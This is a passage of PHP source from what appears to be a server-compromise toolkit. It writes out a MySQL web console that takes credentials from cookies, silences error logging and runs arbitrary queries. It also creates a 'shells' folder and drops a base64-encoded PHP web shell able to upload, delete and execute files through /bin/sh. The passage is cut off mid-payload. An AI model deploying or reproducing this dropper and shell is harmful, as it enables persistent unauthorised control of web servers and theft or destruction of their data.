Fail</font>\";\n\t\t}\n\t\techo \"</ul>\\n\";\n\t} else {\n\t\t\$queryStr = ereg_replace( \"_\", \" \", \$command );\n\t\t\$pResult = mysql_query( \$queryStr );\n\t\tif( \$pResult == false ) {\n\t\t\techo \"Fail\";\n\t\t\treturn;\n\t\t}\n\t\t\$col = mysql_num_fields( \$pResult );\n\n\t\techo \"<p class=location>\$queryStr</p>\\n\";\n\t\techo \"<hr>\\n\";\n\n\t\techo \"<table cellspacing=1 cellpadding=2 border=0>\\n\";\n\t\techo \"<tr>\\n\";\n\t\tfor( \$i = 0; \$i < \$col; \$i++ ) {\n\t\t\t\$field = mysql_fetch_field( \$pResult, \$i );\n\t\t\techo \"<th>\".\$field->name.\"</th>\\n\";\n\t\t}\n\t\techo \"</tr>\\n\";\n\n\t\twhile( 1 ) {\n\t\t\t\$rowArray = mysql_fetch_row( \$pResult );\n\t\t\tif( \$rowArray == false ) break;\n\t\t\techo \"<tr>\\n\";\n\t\t\tfor( \$j = 0; \$j < \$col; \$j++ )\n\t\t\t\techo \"<td>\".htmlspecialchars( \$rowArray[\$j] ).\"</td>\\n\";\n\t\t\techo \"</tr>\\n\";\n\t\t}\n\t\techo \"</table>\\n\";\n\t}\n}\n\nfunction header_html() {\n\tglobal \$PHP_SELF;\n\t\necho '\n<html>\n<head>\n<title>MySQL Interface</title>\n<style type=\"text/css\">\n<!--\np.location {\n\tcolor: #11bb33;\n\tfont-size: small;\n}\nh1 {\n\tcolor: #A4A260;\n}\nth {\n\tbackground-color: #BDBE42;\n\tcolor: #FFFFFF;\n\tfont-size: x-small;\n}\ntd {\n\tbackground-color: #DEDFA5;\n\tfont-size: x-small;\n}\nform {\n\tmargin-top: 0;\n\tmargin-bottom: 0;\n}\na {\n\ttext-decoration:none;\n\tcolor: #848200;\n\tfont-size:x-small;\n}\na:link {\n}\na:hover {\n\tbackground-color:#EEEFD5;\n\tcolor:#646200;\n\ttext-decoration:none               \n}\n//-->\n</style>\n</head>\n<body>\n';\n}\n\nfunction footer_html() {\n\tglobal \$mysqlHandle, \$dbname, \$tablename, \$PHP_SELF, \$USERNAME;\n\n\techo \"<hr>\\n\";\n\techo \"<font size=2 color=blue>[\$USERNAME]</font> - \\n\";\n\n\techo \"<a href='\$PHP_SELF?action=listDBs'>Database List</a> | \\n\";\n\tif( \$tablename != \"\" )\n\t\techo \"<a href='\$PHP_SELF?action=listTables&dbname=\$dbname&tablename=\$tablename'>Table List</a> | \";\n\techo \"<a href='\$PHP_SELF?action=utils'>Utils</a> |\\n\";\n\techo \"<a href='\$PHP_SELF?action=logout'>Logout</a>\\n\";\n\techo \"</font>\\n\";\n\techo \"</body>\\n\";\n\techo \"</html>\\n\";\n}\n\n\n\n\n//------------- MAIN ------------- //\nerror_reporting(0);\nini_set ('display_errors', 0);\nini_set ('log_errors', 0);\n\nif( \$action == \"logon\" || \$action == \"\" || \$action == \"logout\" )\n\tlogon();\nelse if( \$action == \"logon_submit\" )\n\tlogon_submit();\nelse if( \$action == \"dumpTable\" || \$action == \"dumpDB\" ) {\n\twhile( list(\$var, \$value) = each(\$HTTP_COOKIE_VARS) ) {\n\t\tif( \$var == \"mysql_web_admin_username\" ) \$USERNAME = \$value;\n\t\tif( \$var == \"mysql_web_admin_password\" ) \$PASSWORD = \$value;\n\t\tif( \$var == \"mysql_web_admin_hostname\" ) \$HOSTNAME = \$value;\n\t}\n\t\$mysqlHandle = mysql_pconnect( \$HOSTNAME, \$USERNAME, \$PASSWORD );\n\tdump();\n} else {\n\twhile( list(\$var, \$value) = each(\$HTTP_COOKIE_VARS) ) {\n\t\tif( \$var == \"mysql_web_admin_username\" ) \$USERNAME = \$value;\n\t\tif( \$var == \"mysql_web_admin_password\" ) \$PASSWORD = \$value;\n\t\tif( \$var == \"mysql_web_admin_hostname\" ) \$HOSTNAME = \$value;\n\t}\n\techo \"<!--\";\n\t\$mysqlHandle = mysql_pconnect( \$HOSTNAME, \$USERNAME, \$PASSWORD );\n\techo \"-->\";\n\n\tif( \$mysqlHandle == false ) {\n\t\techo \"<html>\\n\";\n\t\techo \"<head>\\n\";\n\t\techo \"<title>MySQL Interface</title>\\n\";\n\t\techo \"</head>\\n\";\n\t\techo \"<body>\\n\";\n\t\techo \"<table width=100% height=100%><tr><td><center>\\n\";\n\t\techo \"<h1>Wrong Password!</h1>\\n\";\n\t\techo \"<a href='\$PHP_SELF?action=logon'>Logon</a>\\n\";\n\t\techo \"</center></td></tr></table>\\n\";\n\t\techo \"</body>\\n\";\n\t\techo \"</html>\\n\";\n\t} else {\n\t\theader_html();\n\t\tif( \$action == \"listDBs\" )\n\t\t\tlistDatabases();\n\t\telse if( \$action == \"createDB\" )\n\t\t\tcreateDatabase();\n\t\telse if( \$action == \"dropDB\" )\n\t\t\tdropDatabase();\n\t\telse if( \$action == \"listTables\" )\n\t\t\tlistTables();\n\t\telse if( \$action == \"createTable\" )\n\t\t\tcreateTable();\n\t\telse if( \$action == \"dropTable\" )\n\t\t\tdropTable();\n\t\telse if( \$action == \"viewSchema\" )\n\t\t\tviewSchema();\n\t\telse if( \$action == \"query\" )\n\t\t\tviewData( \$queryStr );\n\t\telse if( \$action == \"addField\" )\n\t\t\tmanageField( \"add\" );\n\t\telse if( \$action == \"addField_submit\" )\n\t\t\tmanageField_submit( \"add\" );\n\t\telse if( \$action == \"editField\" )\n\t\t\tmanageField( \"edit\" );\n\t\telse if( \$action == \"editField_submit\" )\n\t\t\tmanageField_submit( \"edit\" );\n\t\telse if( \$action == \"dropField\" )\n\t\t\tdropField();\n\t\telse if( \$action == \"viewData\" )\n\t\t\tviewData( \"\" );\n\t\telse if( \$action == \"addData\" )\n\t\t\tmanageData( \"add\" );\n\t\telse if( \$action == \"addData_submit\" )\n\t\t\tmanageData_submit( \"add\" );\n\t\telse if( \$action == \"editData\" )\n\t\t\tmanageData( \"edit\" );\n\t\telse if( \$action == \"editData_submit\" )\n\t\t\tmanageData_submit( \"edit\" );\n\t\telse if( \$action == \"deleteData\" )\n\t\t\tdeleteData();\n\t\telse if( \$action == \"utils\" )\n\t\t\tutils();\n\n\t\tmysql_close( \$mysqlHandle);\n\t\tfooter_html();\n\t}\n}\n\n?>");
    echo "<a href='./inject/MySQL.php'>Here MySQL.php</a><br>";
} elseif ($_POST[tool] == 'Shells') {
    $shells = 'shells';
    mkdir('shells');
    chdir('shells');
    $shell = 'PD9waHANCg0KJGxhbmcgPSAnaXQnOw0KDQovKiBDaGFyc2V0IG9mIG91dHB1dDoNCiAqIHBvc3NpYmxlIHZhbHVlcyBhcmUgZGVzY3JpYmVkIGluIHRoZSBjaGFyc2V0IHRhYmxlIGF0DQogKiBodHRwOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLmh0bWxlbnRpdGllcy5waHANCiAqICdhdXRvJyAtIHVzZSB0aGUgc2FtZSBjaGFyc2V0IGFzIHRoZSB3b3JkcyBvZiBteSBsYW5ndWFnZSBhcmUgZW5jb2RlZA0KICovDQokc2l0ZV9jaGFyc2V0ID0gJ2F1dG8nOw0KDQovKiBIb21lZGlyOg0KICogRm9yIGV4YW1wbGU6ICcuLycgLSB0aGUgc2NyaXB0J3MgZGlyZWN0b3J5DQogKi8NCiRob21lZGlyID0gJy4vJzsNCg0KLyogU2l6ZSBvZiB0aGUgZWRpdCB0ZXh0YXJlYQ0KICovDQokZWRpdGNvbHMgPSA4MDsNCiRlZGl0cm93cyA9IDI1Ow0KDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogKiBPcHRpb25hbCBjb25maWd1cmF0aW9uIChyZW1vdmUgIyB0byBlbmFibGUpDQogKi8NCg0KLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGRpcmVjdG9yaWVzOg0KICogRm9yIGV4YW1wbGU6IDA3MDUgd291bGQgYmUgJ2Ryd3gtLS1yLXgnLg0KICovDQojICRkaXJwZXJtaXNzaW9uID0gMDcwNTsNCg0KLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGZpbGVzOg0KICogRm9yIGV4YW1wbGU6IDA2MDQgd291bGQgYmUgJy1ydy0tLS1yLS0nLg0KICovDQojICRmaWxlcGVybWlzc2lvbiA9IDA2MDQ7DQoNCi8qIEZpbGVuYW1lcyByZWxhdGVkIHRvIHRoZSBhcGFjaGUgd2ViIHNlcnZlcjoNCiAqLw0KJGh0YWNjZXNzID0gJy5odGFjY2Vzcyc7DQokaHRwYXNzd2QgPSAnLmh0cGFzc3dkJzsNCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOw0KCWFycmF5X3dhbGsoJF9QT1NULCAnc3RyaXAnKTsNCglhcnJheV93YWxrKCRfUkVRVUVTVCwgJ3N0cmlwJyk7DQp9DQoNCmlmIChhcnJheV9rZXlfZXhpc3RzKCdpbWFnZScsICRfR0VUKSkgew0KCWhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9naWYnKTsNCglkaWUoZ2V0aW1hZ2UoJF9HRVRbJ2ltYWdlJ10pKTsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2xzdGF0JykpIHsNCglmdW5jdGlvbiBsc3RhdCAoJGZpbGVuYW1lKSB7DQoJCXJldHVybiBzdGF0KCRmaWxlbmFtZSk7DQoJfQ0KfQ0KDQokZGVsaW0gPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KDQppZiAoZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSkgew0KCSR3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKSA/IHRydWUgOiBmYWxzZTsNCn0gZWxzZSB7DQoJJHdpbiA9ICgkZGVsaW0gPT0gJ1xcJykgPyB0cnVlIDogZmFsc2U7DQp9DQoNCmlmICghZW1wdHkoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgew0KCSRzY3JpcHRkaXIgPSBkaXJuYW1lKCRfU0VSVkVSWydQQVRIX1RSQU5TTEFURUQnXSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpIHsNCgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0Y3dkJykpIHsNCgkkc2NyaXB0ZGlyID0gZ2V0Y3dkKCk7DQp9IGVsc2Ugew0KCSRzY3JpcHRkaXIgPSAnLic7DQp9DQokaG9tZWRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsNCg0KJGRpciA9IChhcnJheV9rZXlfZXhpc3RzKCdkaXInLCAkX1JFUVVFU1QpKSA/ICRfUkVRVUVTVFsnZGlyJ10gOiAkaG9tZWRpcjsNCg0KaWYgKGFycmF5X2tleV9leGlzdHMoJ29sZGRpcicsICRfUE9TVCkgJiYgIXBhdGhfaXNfcmVsYXRpdmUoJF9QT1NUWydvbGRkaXInXSkpIHsNCgkkZGlyID0gcmVsYXRpdmUyYWJzb2x1dGUoJGRpciwgJF9QT1NUWydvbGRkaXInXSk7DQp9DQoNCiRkaXJlY3RvcnkgPSBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXIpKTsNCg0KJGZpbGVzID0gYXJyYXkoKTsNCiRhY3Rpb24gPSAnJzsNCmlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfYWxsJ10pKSB7DQoJJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uX2FsbCddOw0KCWZvciAoJGkgPSAwOyAkaSA8ICRfUE9TVFsnbnVtJ107ICRpKyspIHsNCgkJaWYgKGFycmF5X2tleV9leGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1ZScpIHsNCgkJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgkJfQ0KCX0NCn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydhY3Rpb24nXSkpIHsNCgkkYWN0aW9uID0gJF9SRVFVRVNUWydhY3Rpb24nXTsNCgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGlyZWN0b3J5KTsNCn0gZWxzZWlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfdXBsb2FkJ10pICYmICFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSkgew0KCSRmaWxlc1tdID0gJF9GSUxFU1sndXBsb2FkJ107DQoJJGFjdGlvbiA9ICd1cGxvYWQnOw0KfSBlbHNlaWYgKGFycmF5X2tleV9leGlzdHMoJ251bScsICRfUE9TVCkpIHsNCglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7DQoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOw0KCX0NCglpZiAoJGkgPCAkX1BPU1RbJ251bSddKSB7DQoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07DQoJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgl9DQp9DQppZiAoZW1wdHkoJGFjdGlvbikgJiYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF9jcmVhdGUnXSkgfHwgKGFycmF5X2tleV9leGlzdHMoJ2ZvY3VzJywgJF9QT1NUKSAmJiAkX1BPU1RbJ2ZvY3VzJ10gPT0gJ2NyZWF0ZScpKSAmJiAhZW1wdHkoJF9QT1NUWydjcmVhdGVfbmFtZSddKSkgew0KCSRmaWxlc1tdID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydjcmVhdGVfbmFtZSddLCAkZGlyZWN0b3J5KTsNCglzd2l0Y2ggKCRfUE9TVFsnY3JlYXRlX3R5cGUnXSkgew0KCWNhc2UgJ2RpcmVjdG9yeSc6DQoJCSRhY3Rpb24gPSAnY3JlYXRlX2RpcmVjdG9yeSc7DQoJCWJyZWFrOw0KCWNhc2UgJ2ZpbGUnOg0KCQkkYWN0aW9uID0gJ2NyZWF0ZV9maWxlJzsNCgl9DQp9DQppZiAoc2l6ZW9mKCRmaWxlcykgPT0gMCkgJGFjdGlvbiA9ICcnOyBlbHNlICRmaWxlID0gcmVzZXQoJGZpbGVzKTsNCg0KaWYgKCRsYW5nID09ICdhdXRvJykgew0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0FDQ0VQVF9MQU5HVUFHRScsICRfU0VSVkVSKSAmJiBzdHJsZW4oJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID49IDIpIHsNCgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOw0KCX0gZWxzZSB7DQoJCSRsYW5nID0gJ2VuJzsNCgl9DQp9DQoNCiR3b3JkcyA9IGdldHdvcmRzKCRsYW5nKTsNCg0KaWYgKCRzaXRlX2NoYXJzZXQgPT0gJ2F1dG8nKSB7DQoJJHNpdGVfY2hhcnNldCA9ICR3b3JkX2NoYXJzZXQ7DQp9DQoNCiRjb2xzID0gKCR3aW4pID8gNCA6IDc7DQoNCmlmICghaXNzZXQoJGRpcnBlcm1pc3Npb24pKSB7DQoJJGRpcnBlcm1pc3Npb24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1NTsNCn0NCmlmICghaXNzZXQoJGZpbGVwZXJtaXNzaW9uKSkgew0KCSRmaWxlcGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2NjYgJiB+dW1hc2soKSkgOiAwNjQ0Ow0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSkgew0KCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkpOw0KfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpIHsNCgkkc2VsZiA9IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKTsNCn0gZWxzZSB7DQoJJHNlbGYgPSAnJzsNCn0NCg0KaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSB7DQoJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwgMCwgNikpID09ICdhcGFjaGUnKSB7DQoJCSRhcGFjaGUgPSB0cnVlOw0KCX0gZWxzZSB7DQoJCSRhcGFjaGUgPSBmYWxzZTsNCgl9DQp9IGVsc2Ugew0KCSRhcGFjaGUgPSB0cnVlOw0KfQ0KDQpzd2l0Y2ggKCRhY3Rpb24pIHsNCg0KY2FzZSAndmlldyc6DQoNCglpZiAoaXNfc2NyaXB0KCRmaWxlKSkgew0KDQoJCS8qIGhpZ2hsaWdodF9maWxlIGlzIGEgbWVzcyEgKi8NCgkJb2Jfc3RhcnQoKTsNCgkJaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KCQkkc3JjID0gZXJlZ19yZXBsYWNlKCc8Zm9udCBjb2xvcj0iKFteIl0qKSI+JywgJzxzcGFuIHN0eWxlPSJjb2xvcjogXDEiPicsIG9iX2dldF9jb250ZW50cygpKTsNCgkJJHNyYyA9IHN0cl9yZXBsYWNlKGFycmF5KCc8L2ZvbnQ+JywgIlwNCiIsICJcDQoiKSwgYXJyYXkoJzwvc3Bhbj4nLCAnJywgJycpLCAkc3JjKTsNCgkJb2JfZW5kX2NsZWFuKCk7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCgkJZWNobyAnPGgyIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBtYXJnaW4tYm90dG9tOiAwIj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4NCg0KPGhyIC8+DQoNCjx0YWJsZT4NCjx0cj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IGNvbG9yOiBncmF5OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkIGdyYXkiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+PGNvZGU+JzsNCg0KCQlmb3IgKCRpID0gMTsgJGkgPD0gc2l6ZW9mKGZpbGUoJGZpbGUpKTsgJGkrKykgZWNobyAiJGlcDQoiOw0KDQoJCWVjaG8gJzwvY29kZT48L3ByZT4NCjwvdGQ+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IHBhZGRpbmctbGVmdDogM3B0Ij4NCjxwcmUgc3R5bGU9Im1hcmdpbi10b3A6IDAiPicgLiAkc3JjIC4gJzwvcHJlPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9IGVsc2Ugew0KDQoJCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpKTsNCg0KCQlyZWFkZmlsZSgkZmlsZSk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZG93bmxvYWQnOg0KDQoJaGVhZGVyKCdQcmFnbWE6IHB1YmxpYycpOw0KCWhlYWRlcignRXhwaXJlczogMCcpOw0KCWhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wJyk7DQoJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSAuICc7Jyk7DQoJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7DQoNCglyZWFkZmlsZSgkZmlsZSk7DQoNCglicmVhazsNCg0KY2FzZSAndXBsb2FkJzoNCg0KCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ25hbWUnXSwgJGRpcmVjdG9yeSk7DQoNCglpZiAoQGZpbGVfZXhpc3RzKCRkZXN0KSkgew0KCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhpc3RzJywgJGRlc3QpKTsNCgl9IGVsc2VpZiAoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgJGRlc3QpKSB7DQoJCUBjaG1vZCgkZGVzdCwgJGZpbGVwZXJtaXNzaW9uKTsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfdXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsNCgkJaWYgKEBta2RpcigkZmlsZSwgJGRpcnBlcm1pc3Npb24pKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjcmVhdGVkJywgJGZpbGUpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX2ZpbGUnOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRmaWxlcGVybWlzc2lvbik7DQoJCWlmIChAdG91Y2goJGZpbGUpKSB7DQoJCQllZGl0KCRmaWxlKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZXhlY3V0ZSc6DQoNCgljaGRpcihkaXJuYW1lKCRmaWxlKSk7DQoNCgkkb3V0cHV0ID0gYXJyYXkoKTsNCgkkcmV0dmFsID0gMDsNCglleGVjKCdlY2hvICIuLycgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIiB8IC9iaW4vc2gnLCAkb3V0cHV0LCAkcmV0dmFsKTsNCg0KCSRlcnJvciA9ICgkcmV0dmFsID09IDApID8gZmFsc2UgOiB0cnVlOw0KDQoJaWYgKHNpemVvZigkb3V0cHV0KSA9PSAwKSAkb3V0cHV0ID0gYXJyYXkoJzwnIC4gJHdvcmRzWydub19vdXRwdXQnXSAuICc+Jyk7DQoNCglpZiAoJGVycm9yKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2V4ZWN1dGVkJywgJGZpbGUsIGltcGxvZGUoIlwNCiIsICRvdXRwdXQpKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgnZXhlY3V0ZWQnLCAkZmlsZSwgaW1wbG9kZSgiXA0KIiwgJG91dHB1dCkpKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZGVsZXRlJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydubyddKSkgew0KCQlsaXN0aW5nX3BhZ2UoKTsNCgl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsneWVzJ10pKSB7DQoNCgkJJGZhaWx1cmUgPSBhcnJheSgpOw0KCQkkc3VjY2VzcyA9IGFycmF5KCk7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQlpZiAoZGVsKCRmaWxlKSkgew0KCQkJCSRzdWNjZXNzW10gPSAkZmlsZTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJfQ0KCQl9DQoNCgkJJG1lc3NhZ2UgPSAnJzsNCgkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7DQoJCQkkbWVzc2FnZSA9IGVycm9yKCdub3RfZGVsZXRlZCcsIGltcGxvZGUoIlwNCiIsICRmYWlsdXJlKSk7DQoJCX0NCgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ2RlbGV0ZWQnLCBpbXBsb2RlKCJcDQoiLCAkc3VjY2VzcykpOw0KCQl9DQoNCgkJbGlzdGluZ19wYWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQonOw0KDQoJCXJlcXVlc3RfZHVtcCgpOw0KDQoJCWVjaG8gIlx0PGI+IiAuIHdvcmQoJ3JlYWxseV9kZWxldGUnKSAuICc8L2I+DQoJPHA+DQonOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJZWNobyAiXHQiIC4gaHRtbCgkZmlsZSkgLiAiPGJyIC8+XA0KIjsNCgkJfQ0KDQoJCWVjaG8gJwk8L3A+DQoJPGhyIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibm8iIHZhbHVlPSInIC4gd29yZCgnbm8nKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIgdmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJnaW4tbGVmdDogNTBweCIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCg0KJzsNCg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ3JlbmFtZSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEByZW5hbWUoJGZpbGUsICRkZXN0KSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgncmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfcmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9DQoNCgl9IGVsc2Ugew0KDQoJCSRuYW1lID0gYmFzZW5hbWUoJGZpbGUpOw0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icmVuYW1lIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8Yj4nIC4gd29yZCgncmVuYW1lX2ZpbGUnKSAuICc8L2I+DQoJPHA+JyAuIGh0bWwoJGZpbGUpIC4gJzwvcD4NCgk8Yj4nIC4gc3Vic3RyKCRmaWxlLCAwLCBzdHJsZW4